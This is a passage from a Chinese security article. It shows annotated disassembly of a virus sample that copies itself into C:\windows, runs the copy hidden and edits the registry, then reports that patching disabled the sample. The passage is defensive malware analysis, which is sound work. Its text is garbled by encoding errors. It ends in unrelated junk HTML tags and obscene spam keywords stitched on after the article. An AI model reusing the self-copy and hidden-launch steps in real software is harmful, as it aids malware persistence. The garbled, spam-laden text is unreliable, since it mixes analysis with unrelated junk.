          0044F26B???.??E8?4088FBFF???call?ttry.00407AB0
          0044F270???.??8B55?A4???????mov?edx,dword?ptr?ss:[ebp-0x5C]??????????;??ttry.0041949D
          0044F273???.??58????????????pop?eax??????????????????????????????????;??user32.768766C9
          0044F274???.??E8?2B51FBFF???call?ttry.004043A4
          0044F279???.??74?79?????????je?short?ttry.0044F2F4
          0044F27B???.??E8?284CFBFF???call?ttry.00403EA8
          0044F280???.??A1?D00F4500???mov?eax,dword?ptr?ds:[0x450FD0]
          0044F285???.??8B00??????????mov?eax,dword?ptr?ds:[eax]???????????????;??ttry.004026E7
          0044F287???.??E8?90DCFFFF???call?ttry.0044CF1C
          0044F28C???.??EB?66?????????jmp?short?ttry.0044F2F4??????????????????;??這里跳轉(zhuǎn)到前面拷貝,執(zhí)行操作注冊表完要結(jié)束了
          0044F28E???>??33C0??????????xor?eax,eax
          0044F290???.??55????????????push?ebp
          0044F291???.??68?C5F24400???push?ttry.0044F2C5
          0044F296???.??64:FF30???????push?dword?ptr?fs:[eax]
          0044F299???.??64:8920???????mov?dword?ptr?fs:[eax],esp
          0044F29C???.??6A?00?????????push?0x0
          0044F29E???.??68?D8F34400???push?ttry.0044F3D8???????????????????????;??C:\windows\ttry.exe
          0044F2A3???.??8D55?A0???????lea?edx,dword?ptr?ss:[ebp-0x60]
          0044F2A6???.??33C0??????????xor?eax,eax
          0044F2A8???.??E8?3737FBFF???call?ttry.004029E4
          0044F2AD???.??8B45?A0???????mov?eax,dword?ptr?ss:[ebp-0x60]
          0044F2B0???.??E8?A351FBFF???call?ttry.00404458
          0044F2B5???.??50????????????push?eax?????????????????????????????????;?|ExistingFileName?=?"?@"
          0044F2B6???.??E8?9D6CFBFF???call????????????;?\CopyFileA
          0044F2BB???.??33C0??????????xor?eax,eax
          0044F2C0???.??64:8910???????mov?dword?ptr?fs:[eax],edx
          0044F2C3???.??EB?0A?????????jmp?short?ttry.0044F2CF
          0044F2C5???.^?E9?1E44FBFF???jmp?ttry.004036E8
          0044F2CA???.??E8?8147FBFF???call?ttry.00403A50
          0044F2CF???>??6A?00?????????push?0x0?????????????????????????????????;?/IsShown?=?0x0
          0044F2D1???.??6A?00?????????push?0x0?????????????????????????????????;?|DefDir?=?NULL
          0044F2D3???.??6A?00?????????push?0x0?????????????????????????????????;?|Parameters?=?NULL
          0044F2D5???.??68?D8F34400???push?ttry.0044F3D8???????????????????????;?|C:\windows\ttry.exe
          0044F2DA???.??6A?00?????????push?0x0?????????????????????????????????;?|Operation?=?NULL
          0044F2DC???.??6A?00?????????push?0x0?????????????????????????????????;?|hWnd?=?NULL
          0044F2DE???.??E8?6555FDFF???call?????????;?\ShellExecuteA
          0044F2E3???.??E8?C04BFBFF???call?ttry.00403EA8
          0044F2E8???.??A1?D00F4500???mov?eax,dword?ptr?ds:[0x450FD0]
          0044F2ED???.??8B00??????????mov?eax,dword?ptr?ds:[eax]???????????????;??ttry.004026E7
          0044F2EF???.??E8?28DCFFFF???call?ttry.0044CF1C
          • 破解完功能后,再啟動病毒樣本功能已都失效了

          更多安全相關(guān)的技術(shù)文章,請關(guān)注 “游戲安全攻防” 公眾號,一起交流,一起進步。

          恭喜看完了文章的全部內(nèi)容,覺得文章對你有用點個贊,并分享給有需要的人。

          瀏覽 39
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  网友操逼超碰 | 操一操鲁一鲁 | 五月婷婷六月婷婷 | 豆花成人免费进入18 | av三集在线 |